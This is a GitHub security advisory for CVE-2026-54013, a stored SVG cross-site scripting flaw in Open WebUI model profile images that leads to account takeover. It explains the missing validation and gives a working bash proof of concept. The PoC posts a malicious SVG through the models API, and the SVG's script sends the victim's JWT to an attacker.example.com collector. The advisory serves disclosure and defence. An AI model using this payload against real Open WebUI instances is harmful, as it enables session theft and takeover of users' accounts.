GitHub Advisoryadvisory · PyPI
GHSA-v2qm-5wxj-qhj7 Open WebUI: Stored XSS to Account Takeover via Model Profile Images
HIGH
Official page ↗
- Aliases
- CVE-2026-54013
- Ecosystem
- PyPI
- Packages
- open-webui
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
- Weaknesses
- CWE-116, CWE-693, CWE-79
- Reviewed
- 2026-06-17
Affected packages
• PyPI open-webui: < 0.9.6 → fixed in 0.9.6
Description
Stored XSS to Account Takeover via Model Profile Images in Open WebUI
Affected: Open WebUI ` tags. On the output side, `users.py` added a MIME allowlist check and `X-Content-Type-Options: nosniff`.
The fix was applied to `UserUpdateForm`, `UpdateProfileForm`, and later to `ChannelWebhookForm`. Three models patched. Case closed.
Except there was a fourth endpoint.
The Gap
Open WebUI has a concept of "Models" user-created model configurations with metadata including a profile image. The metadata lives in `ModelMeta`:
```python
backend/open_webui/models/models.py, line 37-47
class ModelMeta(BaseModel):
profile_image_url: Optional[str] = '/static/favicon.png'
description: Optional[str] = None
capabilities: Optional[dict] = None
model_config = ConfigDict(extra='allow')
```
No `@field_validator`. No import of `validate_profile_image_url`. `ModelMeta` accepts any string as `profile_image_url` including `data:image/svg+xml;base64,...`.
The serving endpoint at `GET /api/v1/models/model/profile/image` has the same gap:
```python
backend/open_webui/routers/models.py, line 503-518
elif profile_image_url.startswith('data:image'):
header, base64_data = profile_image_url.split(',', 1)
image_data = base64.b64decode(base64_data)
image_buffer = io.BytesIO(image_data)
media_type = header.split(';')[0].lstrip('data:')
headers = {'Content-Disposition': 'inline'}
# ...
return StreamingResponse(
image_buffer,
media_type=media_type,
headers=headers,
)
```
No MIME allowlist. No `nosniff`. No CSP. The SVG is served inline with `Content-Type: image/svg+xml` on the application's origin.
Compare this with the patched user endpoint:
```python
backend/open_webui/routers/users.py, line 497-509
media_type = header.split(';')[0].lstrip('data:').lower()
if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES: #
new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
' | base64 -w0)
curl -s -X POST 'https://TARGET/api/v1/models/create' \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d "{
\"id\": \"gpt-4-turbo-preview\",
\"name\": \"GPT-4 Turbo\",
\"base_model_id\": \"gpt-4\",
\"meta\": {
\"profile_image_url\": \"data:image/svg+xml;base64,$SVG\",
\"description\": \"Latest GPT-4 Turbo model\"
},
\"params\": {},
\"access_grants\": []
}"
```
Step 2 Victim navigates to the image URL:
```
https://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview
```
This happens naturally when a user right-clicks a model's avatar and selects "Open Image in New Tab", or when the attacker sends the URL directly (e.g., in a channel message).
Step 3 Token theft:
The server responds:
```http
HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline
new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
```
No `X-Content-Type-Options`. No `Content-Security-Policy`. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded `` executes. `localStorage.getItem("token")` returns the victim's JWT. The attacker receives it and has full API access password changes, admin promotion, data exfiltration.
PoC
```bash
!/usr/bin/env bash
PoC: Stored SVG XSS -> token theft via Open WebUI model profile image
Affected: open-webui "
COLLECTOR="https://attacker.example.com/steal" # attacker-controlled listener
--- Step 1: Build the malicious SVG (steals victim JWT from localStorage) ---
read -r -d '' SVG
new Image().src="${COLLECTOR}?t="+encodeURIComponent(localStorage.getItem("token"));
EOF
SVG_B64=$(printf '%s' "$SVG" | base64 -w0)
--- Step 2: Store the payload in a model's profile_image_url ---
curl -s -X POST "${TARGET}/api/v1/models/create" \
-H "Authorization: Bearer ${ATTACKER_TOKEN}" \
-H "Content-Type: application/json" \
-d "{
\"id\": \"gpt-4-turbo-preview\",
\"name\": \"GPT-4 Turbo\",
\"base_model_id\": \"gpt-4\",
\"meta\": {
\"profile_image_url\": \"data:image/svg+xml;base64,${SVG_B64}\",
\"description\": \"Latest GPT-4 Turbo\"
},
\"params\": {},
\"access_grants\": []
}"
--- Step 3: Trigger (victim navigates here, or attacker sends the link) ---
echo "Victim opens: ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview"
```
Expected server response at Step 3 (the proof — SVG served inline, no defenses):
```
HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline
new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
````
No X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the executes in the Open WebUI origin, and the victim's JWT lands in the attacker's collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion).
Trigger note: because the frontend loads model avatars in `` context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document — e.g. right-click → …
Related
Alias · CVE (1)
- CVE-2026-54013 Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. vulnerability
References
- https://github.com/open-webui/open-webui/security/advisories/GHSA-v2qm-5wxj-qhj7 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-54013 advisory
- https://github.com/advisories/GHSA-v2qm-5wxj-qhj7 advisory
- https://github.com/open-webui/open-webui package
- https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2757.yaml web
- https://pypi.org/project/open-webui web